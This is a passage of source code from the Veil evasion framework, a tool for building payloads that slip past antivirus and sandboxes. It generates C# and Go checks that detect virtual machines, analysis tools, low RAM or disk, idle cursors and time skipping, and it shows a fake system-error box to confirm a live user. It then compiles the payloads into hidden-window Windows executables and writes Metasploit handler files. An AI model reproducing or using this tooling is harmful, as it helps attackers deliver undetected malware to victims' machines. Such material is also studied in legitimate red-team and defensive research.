evasion_payload.required_options["BADMACS"][0].lower() != 'x': # pass if evasion_payload.required_options["DOMAIN"][0].lower() != "x": check_code += '\t' * num_tabs_required + 'if (string.Equals("' + evasion_payload.required_options["DOMAIN"][0] + '", System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName, StringComparison.CurrentCultureIgnoreCase)) {\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["PROCESSORS"][0].lower() != "x": check_code += '\t' * num_tabs_required + 'if (System.Environment.ProcessorCount >= {}) {{\n'.format(evasion_payload.required_options["PROCESSORS"][0]) # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["USERNAME"][0].lower() != "x": rand_user_name = evasion_helpers.randomString() rand_char_name = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'string {} = System.Security.Principal.WindowsIdentity.GetCurrent().Name;\n'.format(rand_user_name) check_code += '\t' * num_tabs_required + "string[] {} = {}.Split('\\\\');\n".format(rand_char_name, rand_user_name) check_code += '\t' * num_tabs_required + 'if ({}[1].Contains("{}")) {{\n\n'.format(rand_char_name, evasion_payload.required_options["USERNAME"][0]) # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["SLEEP"][0].lower() != "x": check_code += '\t' * num_tabs_required + 'var NTPTransmit = new byte[48];NTPTransmit[0] = 0x1B; var secondTransmit = new byte[48]; secondTransmit[0] = 0x1B; var skip = false;\n' check_code += '\t' * num_tabs_required + 'var addr = Dns.GetHostEntry("us.pool.ntp.org").AddressList;var sock = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);\n' check_code += '\t' * num_tabs_required + 'try { sock.Connect(new IPEndPoint(addr[0], 123)); sock.ReceiveTimeout = 6000; sock.Send(NTPTransmit); sock.Receive(NTPTransmit); sock.Close(); } catch { skip = true; }\n' check_code += '\t' * num_tabs_required + 'ulong runTotal=0;for (int i=40; i<=43; ++i){runTotal = runTotal * 256 + (uint)NTPTransmit[i];}\n' check_code += '\t' * num_tabs_required + 'var t1 = (new DateTime(1900, 1, 1, 0, 0, 0, DateTimeKind.Utc)).AddMilliseconds(1000 * runTotal);\n' check_code += '\t' * num_tabs_required + 'Thread.Sleep(' + evasion_payload.required_options["SLEEP"][0] + '*1000);\n' check_code += '\t' * num_tabs_required + 'var newSock = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);\n' check_code += '\t' * num_tabs_required + 'try { var addr2 = Dns.GetHostEntry("us.pool.ntp.org").AddressList; newSock.Connect(new IPEndPoint(addr2[0], 123)); newSock.ReceiveTimeout = 6000; newSock.Send(secondTransmit); newSock.Receive(secondTransmit); newSock.Close(); } catch { skip = true; }\n' check_code += '\t' * num_tabs_required + 'ulong secondTotal = 0; for (int i = 40; i <= 43; ++i) { secondTotal = secondTotal * 256 + (uint)secondTransmit[i]; }\n' check_code += '\t' * num_tabs_required + 'if (((new DateTime(1900, 1, 1, 0, 0, 0, DateTimeKind.Utc)).AddMilliseconds(1000 * secondTotal) - t1).Seconds >= ' + evasion_payload.required_options["SLEEP"][0] + ' || skip) {\n' # Add a tab for this check num_tabs_required += 1 # Return check information return check_code, num_tabs_required elif evasion_payload.language == 'go': rand_username = evasion_helpers.randomString() rand_error1 = evasion_helpers.randomString() rand_hostname = evasion_helpers.randomString() rand_error2 = evasion_helpers.randomString() rand_processor = evasion_helpers.randomString() rand_domain = evasion_helpers.randomString() if evasion_payload.required_options["USERNAME"][0].lower() != "x": check_code += rand_username + ", " + rand_error1 + " := user.Current()\n" check_code += "if " + rand_error1 + " != nil {\n" check_code += "os.Exit(1)}\n" check_code += "if strings.Contains(strings.ToLower(" + rand_username + ".Username), strings.ToLower(\"" + evasion_payload.required_options["USERNAME"][0] + "\")) {\n" num_tabs_required += 1 if evasion_payload.required_options["HOSTNAME"][0].lower() != "x": check_code += rand_hostname + ", " + rand_error2 + " := os.Hostname()\n" check_code += "if " + rand_error2 + " != nil {\n" check_code += "os.Exit(1)}\n" check_code += "if strings.Contains(strings.ToLower(" + rand_hostname + "), strings.ToLower(\"" + evasion_payload.required_options["HOSTNAME"][0] + "\")) {\n" num_tabs_required += 1 if evasion_payload.required_options["PROCESSORS"][0].lower() != "x": check_code += rand_processor + " := runtime.NumCPU()\n" check_code += "if " + rand_processor + " >= " + evasion_payload.required_options["PROCESSORS"][0] + " {\n" num_tabs_required += 1 if evasion_payload.required_options["SLEEP"][0].lower() != "x": check_code += 'type ntp_struct struct {FirstByte,A,B,C uint8;D,E,F uint32;G,H uint64;ReceiveTime uint64;J uint64}\n' check_code += 'sock,_ := net.Dial("udp", "us.pool.ntp.org:123");sock.SetDeadline(time.Now().Add((6*time.Second)));defer sock.Close()\n' check_code += 'ntp_transmit := new(ntp_struct);ntp_transmit.FirstByte=0x1b\n' check_code += 'binary.Write(sock, binary.BigEndian, ntp_transmit);binary.Read(sock, binary.BigEndian, ntp_transmit)\n' check_code += 'val := time.Date(1900, 1, 1, 0, 0, 0, 0, time.UTC).Add(time.Duration(((ntp_transmit.ReceiveTime >> 32)*1000000000)))\n' check_code += 'time.Sleep(time.Duration(' + evasion_payload.required_options["SLEEP"][0] + '*1000) * time.Millisecond)\n' check_code += 'newsock,_ := net.Dial("udp", "us.pool.ntp.org:123");newsock.SetDeadline(time.Now().Add((6*time.Second)));defer newsock.Close()\n' check_code += 'second_transmit := new(ntp_struct);second_transmit.FirstByte=0x1b\n' check_code += 'binary.Write(newsock, binary.BigEndian, second_transmit);binary.Read(newsock, binary.BigEndian, second_transmit)\n' check_code += 'if int(time.Date(1900, 1, 1, 0, 0, 0, 0, time.UTC).Add(time.Duration(((second_transmit.ReceiveTime >> 32)*1000000000))).Sub(val).Seconds()) >= ' + evasion_payload.required_options["SLEEP"][0] + ' {' num_tabs_required += 1 if evasion_payload.required_options["UTCCHECK"][0].lower() != "false": tzone_abbrev = evasion_helpers.randomString() tzone_offset = evasion_helpers.randomString() check_code += '_, ' + tzone_offset + ' := time.Now().Zone()\n' check_code += 'if ' + tzone_offset + ' != 0 {\n' num_tabs_required += 1 if evasion_payload.required_options["USERPROMPT"][0].lower() != "false": title_box = evasion_helpers.randomString() message_box = evasion_helpers.randomString() user32_dll = evasion_helpers.randomString() messagebox_w = evasion_helpers.randomString() check_code += 'var ' + title_box + ' = "System Error Encountered"\n' check_code += 'var ' + message_box + ' = "System error 0x831d83a4 - Press OK to continue"\n' check_code += 'var ' + user32_dll + ' = syscall.NewLazyDLL("user32.dll")\n' check_code += 'var ' + messagebox_w + ' = ' + user32_dll + '.NewProc("MessageBoxW")\n' check_code += messagebox_w + '.Call(0,\n' check_code += '\tuintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(' + message_box + '))),\n' check_code += '\tuintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(' + title_box + '))),\n' check_code += '0)\n' check_code += 'if true {\n' num_tabs_required += 1 if evasion_payload.required_options["RAMCHECK"][0].lower() != 'false': memstatusx = evasion_helpers.randomString() kernel32_dll = evasion_helpers.randomString() globalmem_status = evasion_helpers.randomString() mem_info = evasion_helpers.randomString() check_code += 'type ' + memstatusx + ' struct {\n' check_code += '\tdwLength\tuint32\n' check_code += '\tdwMemoryLoad\tuint32\n' check_code += '\tullTotalPhys\tuint64\n' check_code += '\tullAvailPhys\tuint64\n' check_code += '\tullTotalPageFile\tuint64\n' check_code += '\tullAvailPageFile\tuint64\n' check_code += '\tullTotalVirtual\tuint64\n' check_code += '\tullAvailVirtual\tuint64\n' check_code += '\tullAvailExtendedVirtual\tuint64\n' check_code += '}\n' check_code += 'var ' + kernel32_dll + ' = syscall.NewLazyDLL("kernel32.dll")\n' check_code += 'var ' + globalmem_status + ' = ' + kernel32_dll + '.NewProc("GlobalMemoryStatusEx")\n' check_code += 'var ' + mem_info + ' ' + memstatusx + '\n' check_code += mem_info + '.dwLength = uint32(unsafe.Sizeof(' + mem_info + '))\n' check_code += globalmem_status + '.Call(uintptr(unsafe.Pointer(&' + mem_info + ')))\n' check_code += 'if (' + mem_info + '.ullTotalPhys/1073741824 >= 3) {\n' num_tabs_required += 1 if evasion_payload.required_options["PROCCHECK"][0].lower() != 'false': kernel32 = evasion_helpers.randomString() createtoolhelp = evasion_helpers.randomString() proc32first = evasion_helpers.randomString() proc32next = evasion_helpers.randomString() closehandle = evasion_helpers.randomString() procentry32 = evasion_helpers.randomString() ev_of_sandbox = evasion_helpers.randomString() sbox_procs = evasion_helpers.randomString() hproc_snap = evasion_helpers.randomString() exe_names = evasion_helpers.randomString() pe32 = evasion_helpers.randomString() ret_val = evasion_helpers.randomString() exe = evasion_helpers.randomString() sbox_process = evasion_helpers.randomString() check_code += 'var ' + kernel32 + ' = syscall.NewLazyDLL("kernel32.dll")\n' check_code += 'var ' + createtoolhelp + ' = ' + kernel32 + '.NewProc("CreateToolhelp32Snapshot")\n' check_code += 'var ' + proc32first + ' = ' + kernel32 + '.NewProc("Process32FirstW")\n' check_code += 'var ' + proc32next + ' = ' + kernel32 + '.NewProc("Process32NextW")\n' check_code += 'var ' + closehandle + ' = ' + kernel32 + '.NewProc("CloseHandle")\n' check_code += 'type ' + procentry32 + ' struct {\n' check_code += '\tdwSize\t\tuint32\n' check_code += '\tcntUsage\t\tuint32\n' check_code += '\tth32ProcessID\t\tuint32\n' check_code += '\tth32DefaultHeapID\t\tuintptr\n' check_code += '\tth32ModuleID\t\tuint32\n' check_code += '\tcntThreads\t\tuint32\n' check_code += '\tth32ParentProcessID\t\tuint32\n' check_code += '\tpcPriClassBase\t\tint32\n' check_code += '\tdwFlags\t\tuint32\n' check_code += '\tszExeFile\t\t[260]uint16\n' check_code += '}\n' check_code += ev_of_sandbox + ' := make([]string, 0)\n' check_code += sbox_procs + " := [...]string{`vmsrvc`, `tcpview`, `wireshark`, `visual basic`, `fiddler`, `vmware`, `vbox`, `process explorer`, `autoit`, `vboxtray`, `vmtools`, `vmrawdsk`, `vmusbmouse`, `vmvss`, `vmscsi`, `vmxnet`, `vmx_svga`, `vmmemctl`, `df5serv`, `vboxservice`, `vmhgfs`}\n" check_code += hproc_snap + ', _, _ := ' + createtoolhelp + '.Call(2,0)\n' check_code += 'defer ' + closehandle + '.Call(' + hproc_snap + ')\n' check_code += exe_names + ' := make([]string, 0, 100)\n' check_code += 'var ' + pe32 + ' ' + procentry32 + '\n' check_code += pe32 + '.dwSize = uint32(unsafe.Sizeof(' + pe32 + '))\n' check_code += proc32first + '.Call(' + hproc_snap + ', uintptr(unsafe.Pointer(&' + pe32 + ')))\n' check_code += 'for {\n' check_code += '\t' + exe_names + ' = append(' + exe_names + ', syscall.UTF16ToString(' + pe32 + '.szExeFile[:260]))\n' check_code += '\t' + ret_val + ', _, _ := ' + proc32next + '.Call(' + hproc_snap + ', uintptr(unsafe.Pointer(&' + pe32 + ')))\n' check_code += '\tif ' + ret_val + ' == 0 {\n' check_code += '\t\tbreak\n' check_code += '\t}\n' check_code += '}\n' check_code += 'for _, ' + exe + ' := range ' + exe_names + ' {\n' check_code += '\tfor _, ' + sbox_process + ' := range ' + sbox_procs + ' {\n' check_code += '\t\tif (strings.Contains(strings.ToLower(' + exe + '), strings.ToLower(' + sbox_process + '))) {\n' check_code += '\t\t\t' + ev_of_sandbox + ' = append(' + ev_of_sandbox + ', ' + exe + ')\n' check_code += '\t\t}\n' check_code += '\t}\n' check_code += '}\n' check_code += 'if len(' + ev_of_sandbox + ') == 0 {\n' num_tabs_required += 1 if evasion_payload.required_options["MINPROCS"][0].lower() != 'x': kernel32 = evasion_helpers.randomString() createtoolhelp = evasion_helpers.randomString() proc32first = evasion_helpers.randomString() proc32next = evasion_helpers.randomString() closehandle = evasion_helpers.randomString() min_processes = evasion_helpers.randomString() procentry32 = evasion_helpers.randomString() hproc_snap = evasion_helpers.randomString() exe_names = evasion_helpers.randomString() pe32 = evasion_helpers.randomString() ret_val = evasion_helpers.randomString() exe = evasion_helpers.randomString() count_running_procs = evasion_helpers.randomString() wut = evasion_helpers.randomString() check_code += 'var ' + kernel32 + ' = syscall.NewLazyDLL("kernel32.dll")\n' check_code += 'var ' + createtoolhelp + ' = ' + kernel32 + '.NewProc("CreateToolhelp32Snapshot")\n' check_code += 'var ' + proc32first + ' = ' + kernel32 + '.NewProc("Process32FirstW")\n' check_code += 'var ' + proc32next + ' = ' + kernel32 + '.NewProc("Process32NextW")\n' check_code += 'var ' + closehandle + ' = ' + kernel32 + '.NewProc("CloseHandle")\n' check_code += 'type ' + procentry32 + ' struct {\n' check_code += '\tdwSize\t\tuint32\n' check_code += '\tcntUsage\t\tuint32\n' check_code += '\tth32ProcessID\t\tuint32\n' check_code += '\tth32DefaultHeapID\t\tuintptr\n' check_code += '\tth32ModuleID\t\tuint32\n' check_code += '\tcntThreads\t\tuint32\n' check_code += '\tth32ParentProcessID\t\tuint32\n' check_code += '\tpcPriClassBase\t\tint32\n' check_code += '\tdwFlags\t\tuint32\n' check_code += '\tszExeFile\t\t[260]uint16\n' check_code += '}\n' check_code += min_processes + ' := ' + evasion_payload.required_options["MINPROCS"][0] + '\n' check_code += hproc_snap + ', _, _ := ' + createtoolhelp + '.Call(2,0)\n' check_code += 'defer ' + closehandle + '.Call(' + hproc_snap + ')\n' check_code += exe_names + ' := make([]string, 0, 100)\n' check_code += 'var ' + pe32 + ' ' + procentry32 + '\n' check_code += pe32 + '.dwSize = uint32(unsafe.Sizeof(' + pe32 + '))\n' check_code += proc32first + '.Call(' + hproc_snap + ', uintptr(unsafe.Pointer(&' + pe32 + ')))\n' check_code += 'for {\n' check_code += '\t' + exe_names + ' = append(' + exe_names + ', syscall.UTF16ToString(' + pe32 + '.szExeFile[:260]))\n' check_code += '\t' + ret_val + ', _, _ := ' + proc32next + '.Call(' + hproc_snap + ', uintptr(unsafe.Pointer(&' + pe32 + ')))\n' check_code += '\tif ' + ret_val + ' == 0 {\n' check_code += '\t\tbreak\n' check_code += '\t}\n' check_code += '}\n' check_code += count_running_procs + ' := 0\n' check_code += 'for _, ' + exe + ' := range ' + exe_names + ' {\n' check_code += "\tif " + exe + " == \"\" {\n" check_code += "\t\tos.Exit(1)}\n" check_code += '\t' + count_running_procs + ' += 1\n' check_code += '}\n' check_code += 'if (' + count_running_procs + ' >= ' + min_processes + ') {\n' num_tabs_required += 1 if evasion_payload.required_options["BADMACS"][0].lower() != 'false': evd_sandbox = evasion_helpers.randomString() bad_addrs = evasion_helpers.randomString() nics = evasion_helpers.randomString() single_nic = evasion_helpers.randomString() bad_mac = evasion_helpers.randomString() check_code += evd_sandbox + ' := make([]net.HardwareAddr, 0)\n' check_code += bad_addrs + ' := [...]string{`00:0C:29`, `00:1C:14`, `00:50:56`, `00:05:69`, `08:00:27`}\n' check_code += nics + ', _ := net.Interfaces()\n' check_code += 'for _, ' + single_nic + ' := range ' + nics + ' {\n' check_code += '\tfor _, ' + bad_mac + ' := range ' + bad_addrs + ' {\n' check_code += '\t\tif strings.Contains(strings.ToLower(' + single_nic + '.HardwareAddr.String()), strings.ToLower(' + bad_mac + ')) {\n' check_code += '\t\t\t' + evd_sandbox + ' = append(' + evd_sandbox + ', ' + single_nic + '.HardwareAddr)\n' check_code += '\t\t}\n' check_code += '\t}\n' check_code += '}\n' check_code += 'if len(' + evd_sandbox + ') == 0 {\n' num_tabs_required += 1 if evasion_payload.required_options["CLICKTRACK"][0].lower() != 'x': usr32 = evasion_helpers.randomString() getkey_state = evasion_helpers.randomString() counter = evasion_helpers.randomString() min_clicks = evasion_helpers.randomString() lft_click = evasion_helpers.randomString() rght_click = evasion_helpers.randomString() check_code += 'var ' + usr32 + ' = syscall.NewLazyDLL("user32.dll")\n' check_code += 'var ' + getkey_state + ' = ' + usr32 + '.NewProc("GetAsyncKeyState")\n' check_code += 'var ' + counter + ' = 0\n' check_code += 'var ' + min_clicks + ' = ' + evasion_payload.required_options["CLICKTRACK"][0] + '\n' check_code += 'for ' + counter + ' < ' + min_clicks + ' {\n' check_code += '\t' + lft_click + ', _, _ := ' + getkey_state + '.Call(uintptr(0x1))\n' check_code += '\t' + rght_click + ', _, _ := ' + getkey_state + '.Call(uintptr(0x2))\n' check_code += '\tif ' + lft_click + ' % 2 == 1 {\n' check_code += '\t\t' + counter + ' += 1\n' check_code += '\t}\n' check_code += '\tif ' + rght_click + ' % 2 == 1 {\n' check_code += '\t\t' + counter + ' += 1\n' check_code += '\t}\n' check_code += '}\n' check_code += 'if true {\n' num_tabs_required += 1 if evasion_payload.required_options["CURSORCHECK"][0].lower() != 'false': usr32 = evasion_helpers.randomString() cursor_position = evasion_helpers.randomString() point_struct = evasion_helpers.randomString() secs = evasion_helpers.randomString() point_var1 = evasion_helpers.randomString() point_var2 = evasion_helpers.randomString() check_code += 'type ' + point_struct + ' struct {\n' check_code += '\tx, y int32\n' check_code += '}\n' check_code += 'var ' + usr32 + ' = syscall.NewLazyDLL("user32.dll")\n' check_code += 'var ' + cursor_position + ' = ' + usr32 + '.NewProc("GetCursorPos")\n' check_code += secs + ' := 60\n' check_code += point_var1 + ' := ' + point_struct + '{}\n' check_code += cursor_position + '.Call(uintptr(unsafe.Pointer(&' + point_var1 + ')))\n' check_code += 'time.Sleep(time.Duration(' + secs + ' * 1000) * time.Millisecond)\n' check_code += point_var2 + ' := ' + point_struct + '{}\n' check_code += cursor_position + '.Call(uintptr(unsafe.Pointer(&' + point_var2 + ')))\n' check_code += 'if ' + point_var1 + '.x - ' + point_var2 + '.x == 0 && ' + point_var1 + '.y - ' + point_var2 + '.y == 0 {\n' num_tabs_required += 1 if evasion_payload.required_options["DISKSIZE"][0].lower() != 'x': min_disk_size = evasion_helpers.randomString() kernel32 = evasion_helpers.randomString() getDiskFreeSpaceEx = evasion_helpers.randomString() lpFreeBytesAvailable = evasion_helpers.randomString() lpTotalNumberOfBytes = evasion_helpers.randomString() lpTotalNumberOfFreeBytes = evasion_helpers.randomString() cur_disk_size = evasion_helpers.randomString() check_code += min_disk_size + ' := float32(' + evasion_payload.required_options["DISKSIZE"][0] + ')\n' check_code += 'var ' + kernel32 + ' = syscall.NewLazyDLL("kernel32.dll")\n' check_code += 'var ' + getDiskFreeSpaceEx + ' = ' + kernel32 + '.NewProc("GetDiskFreeSpaceExW")\n' check_code += lpFreeBytesAvailable + ' := int64(0)\n' check_code += '\t' + lpTotalNumberOfBytes + ' := int64(0)\n' check_code += '\t' + lpTotalNumberOfFreeBytes + ' := int64(0)\n' check_code += getDiskFreeSpaceEx + '.Call(\n' check_code += '\tuintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("C:"))),\n' check_code += '\tuintptr(unsafe.Pointer(&' + lpFreeBytesAvailable + ')),\n' check_code += '\tuintptr(unsafe.Pointer(&' + lpTotalNumberOfBytes + ')),\n' check_code += '\tuintptr(unsafe.Pointer(&' + lpTotalNumberOfFreeBytes + ')))\n' check_code += cur_disk_size + ' := float32(' + lpTotalNumberOfBytes + ')/1073741824\n' check_code += 'if (' + cur_disk_size + ' > ' + min_disk_size + ') {\n' num_tabs_required += 1 # Return check information return check_code, num_tabs_required else: return '', 0 Veil-3.1.14/tools/evasion/evasion_common/outfile.py000066400000000000000000000541431365017756100223620ustar00rootroot00000000000000""" This file helps "compilation" of source code """ import hashlib import os import sys from tools.evasion.evasion_common import evasion_helpers from lib.common import helpers # Try to find and import the settings.py config file try: sys.path.append("/etc/veil/") import settings except ImportError: print( "\n [!] ERROR #1-5: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() def compiler(payload_object, invoked=False, cli_object=None): # Check the source code to ensure it is present if payload_object.payload_source_code == '': print(helpers.color("\n [!] ERROR: No payload source code provided.\n", warning=True)) return False else: # print title bar evasion_helpers.title_screen() if not invoked: # Determine the file name to use for output file_name = input(' [>] Please enter the base name for output files (default is payload): ').strip() else: file_name = cli_object.o # Basic checks on input while file_name != '' and ("\\" in file_name or "/" in file_name): print(helpers.color("\nPlease provide a base name, not a path, for the output base\n", warning=True)) file_name = input(' [>] Please enter the base name for output files (default is payload): ').strip() # If no base name, set it to be payload if file_name == '': file_name = 'payload' # run check to make sure file doesn't exist, if it does # provide a new filename file_name = find_file_name(file_name, payload_object) source_code_filepath = settings.PAYLOAD_SOURCE_PATH + file_name + "." + payload_object.extension # Used when outputting exe files, go figure executable_filepath = settings.PAYLOAD_COMPILED_PATH + file_name + ".exe" if payload_object.language != "native" and payload_object.extension != "war": with open(source_code_filepath, 'w') as source_file: source_file.write(payload_object.payload_source_code) if payload_object.language == 'python': if not invoked: compile_method = "" else: compile_method = cli_object.compiler # Check extension for war or normal python file if payload_object.extension == 'py': if settings.OPERATING_SYSTEM == "Windows": compile_method = 'py2exe' else: if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y' and not invoked: evasion_helpers.title_screen() # if we have a linux distro, continue... # Determine if the user wants PyInstaller, Pwnstaller, or Py2Exe. print(' [?] How would you like to create your payload executable?\n') print(' %s - PyInstaller %s' % (helpers.color('1'), helpers.color('(default)', yellow=True))) print(' %s - Py2Exe\n' % (helpers.color('2'))) user_compile_choice = input(" [>] Please enter the number of your choice: ") if user_compile_choice == "1" or user_compile_choice == '': compile_method = "pyinstaller" elif user_compile_choice == "2": compile_method = "py2exe" else: compile_method = "pyinstaller" if compile_method == 'py2exe' and payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': # Generate setup.py File for Py2Exe with open(settings.PAYLOAD_SOURCE_PATH + '/setup.py', 'w') as setup_file: setup_file.write("from distutils.core import setup\n") setup_file.write("import py2exe, sys, os\n\n") setup_file.write("setup(\n") setup_file.write("\toptions = {'py2exe': {'bundle_files': 1}},\n") setup_file.write("\tzipfile = None,\n") setup_file.write("\twindows=['" + file_name + ".py']\n") setup_file.write(")") # Generate Batch script for Compiling on Windows Using Py2Exe with open(settings.PAYLOAD_SOURCE_PATH + '/runme.bat', 'w') as runme_file: runme_file.write('rem Batch Script for compiling python code into an executable\n') runme_file.write('rem on windows with py2exe\n') runme_file.write('rem Usage: Drop into your Python folder and click, or anywhere if Python is in your system path\n\n') runme_file.write("python setup.py py2exe\n") runme_file.write('cd dist\n') runme_file.write('move ' + file_name + '.exe ../\n') runme_file.write('cd ..\n') runme_file.write('rmdir /S /Q build\n') runme_file.write('rmdir /S /Q dist\n') evasion_helpers.title_screen() print_payload_information(payload_object) print(helpers.color("\npy2exe files 'setup.py' and 'runme.bat' written to:\n" + settings.PAYLOAD_SOURCE_PATH + "\n")) else: if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': # Used for PyInstaller standard # copy the pyinstaller runw to maintain its integrity in the event # pwnstaller is added in for python3 - this will future proof it runw_path = settings.VEIL_PATH + '/tools/evasion/evasion_common/tools/runw.orig.exe' os.system('cp ' + runw_path + ' ' + settings.PYINSTALLER_PATH + 'PyInstaller/bootloader/Windows-32bit/runw.exe') # Validate python is installed in wine if not os.path.isfile(settings.WINEPREFIX + 'drive_c/Python34/python.exe'): print(helpers.color("\n [!] ERROR: Can't find python.exe in " + os.path.expanduser(settings.WINEPREFIX + 'drive_c/Python34/'), warning=True)) print(helpers.color(" [!] ERROR: Make sure the python.exe binary exists before using PyInstaller.", warning=True)) sys.exit(1) random_key = evasion_helpers.randomString() os.system('WINEPREFIX=' + settings.WINEPREFIX + ' wine ' + settings.WINEPREFIX + '/drive_c/Python34/python.exe' + ' ' + os.path.expanduser(settings.PYINSTALLER_PATH + '/pyinstaller.py') + ' --onefile --noconsole --key ' + random_key + ' ' + source_code_filepath) evasion_helpers.title_screen() if os.path.isfile('dist/' + file_name + ".exe"): os.system('mv dist/' + file_name + ".exe " + settings.PAYLOAD_COMPILED_PATH) hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(settings.PAYLOAD_COMPILED_PATH + file_name + ".exe")) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) os.system('rm -rf dist') os.system('rm -rf build') os.system('rm -f *.spec') os.system('rm -f logdict*.*') print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.extension == 'war': path_here = settings.PAYLOAD_COMPILED_PATH + file_name + "." + payload_object.extension with open(path_here, 'wb') as source_file: source_file.write(payload_object.payload_source_code) # Ensure that war file was written to disk if os.path.isfile(path_here): hash_executable(path_here, file_name) print_payload_information(payload_object) print(" [*] WAR file written to: " + helpers.color(source_code_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create WAR file.", warning=True)) else: print(helpers.color(" [!] ERROR: Invalid python extension in payload module.\n", warning=True)) elif payload_object.language == 'ruby': if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': os.system('WINEPREFIX=' + settings.WINEPREFIX + ' wine ' + settings.WINEPREFIX + '/drive_c/Ruby187/bin/ruby.exe ' + settings.WINEPREFIX + '/drive_c/Ruby187/bin/ocra --windows '+ source_code_filepath + ' --output ' + executable_filepath + ' ' + settings.WINEPREFIX + '/drive_c/Ruby187/lib/ruby/gems/1.8/gems/win32-api-1.4.8-x86-mingw32/lib/win32/*') evasion_helpers.title_screen() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(executable_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'powershell': evasion_helpers.title_screen() print_payload_information(payload_object) print(" [*] PowerShell doesn't compile, so you just get text :)") print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'perl': print_payload_information(payload_object) print("\nPerl can't currently be compiled in Linux. Install on Windows:") print("https://www.veil-framework.com/perl-of-no-hope-january-v-day-2016/") print("Command: pp -gui -o ") print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'native': # set path for native payload executable output path_here = settings.PAYLOAD_COMPILED_PATH + file_name + "." + payload_object.extension with open(path_here, 'wb') as source_file: source_file.write(payload_object.payload_source_code) # Ensure executables was written to disk if os.path.isfile(path_here): hash_executable(path_here, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(path_here)) else: print(helpers.color(" [!] ERROR: Unable to create Exe file.", warning=True)) elif payload_object.language == 'lua': print_payload_information(payload_object) print(" [*] Lua currently doesn't compile in linux, so you just get text :)") print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'go': if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': # Compile go payload os.system( 'env GOROOT={0} GOOS=windows GOARCH=386 {0}/bin/go build -ldflags "-s -w -H=windowsgui" -v -o {1} {2}'.format(settings.GOLANG_PATH, executable_filepath, source_code_filepath) ) evasion_helpers.title_screen() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(executable_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'cs': if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': # Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('mcs -platform:x86 -target:winexe ' + source_code_filepath + ' -out:' + executable_filepath) evasion_helpers.title_screen() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(executable_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'c': if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': # Compile our C code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('i686-w64-mingw32-gcc -Wl,-subsystem,windows ' + source_code_filepath + ' -o ' + executable_filepath + " -lwsock32") evasion_helpers.title_screen() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(executable_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'autoit': if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': # Compile autoit code os.system('WINEPREFIX=' + settings.WINEPREFIX + ' wine ' + settings.WINEPREFIX + 'drive_c/Program\ Files/AutoIt3/Aut2Exe/Aut2exe.exe /in ' + source_code_filepath + ' /out ' + executable_filepath + ' /comp 2 /nopack') if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(executable_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) else: print(helpers.color("\n [!] ERROR: Invalid payload language in payload module.\n", warning=True)) return False if invoked: handler_code_generator(payload_object, file_name, invoked=True, cli_obj=cli_object) else: handler_code_generator(payload_object, file_name) if os.path.isfile(settings.HANDLER_PATH + file_name + '.rc'): print(" [*] Metasploit Resource file written to: " + helpers.color(settings.HANDLER_PATH + file_name + '.rc')) if not invoked: dummy = input('\nHit enter to continue...\n') # End of if statement checking to make sure payload_source_code is # not empty return True def find_file_name(payload_name, selected_payload_object): # Assume file exists until we can verify it doesn't filename_exists = True counter = 0 first_time = True while filename_exists: if first_time: if not os.path.isfile(settings.PAYLOAD_SOURCE_PATH + payload_name + "." + selected_payload_object.extension) and not os.path.isfile(settings.PAYLOAD_COMPILED_PATH + payload_name + "." + selected_payload_object.extension): filename_exists = False else: counter += 1 first_time = False else: if not os.path.isfile(settings.PAYLOAD_SOURCE_PATH + payload_name + str(counter) + "." + selected_payload_object.extension) and not 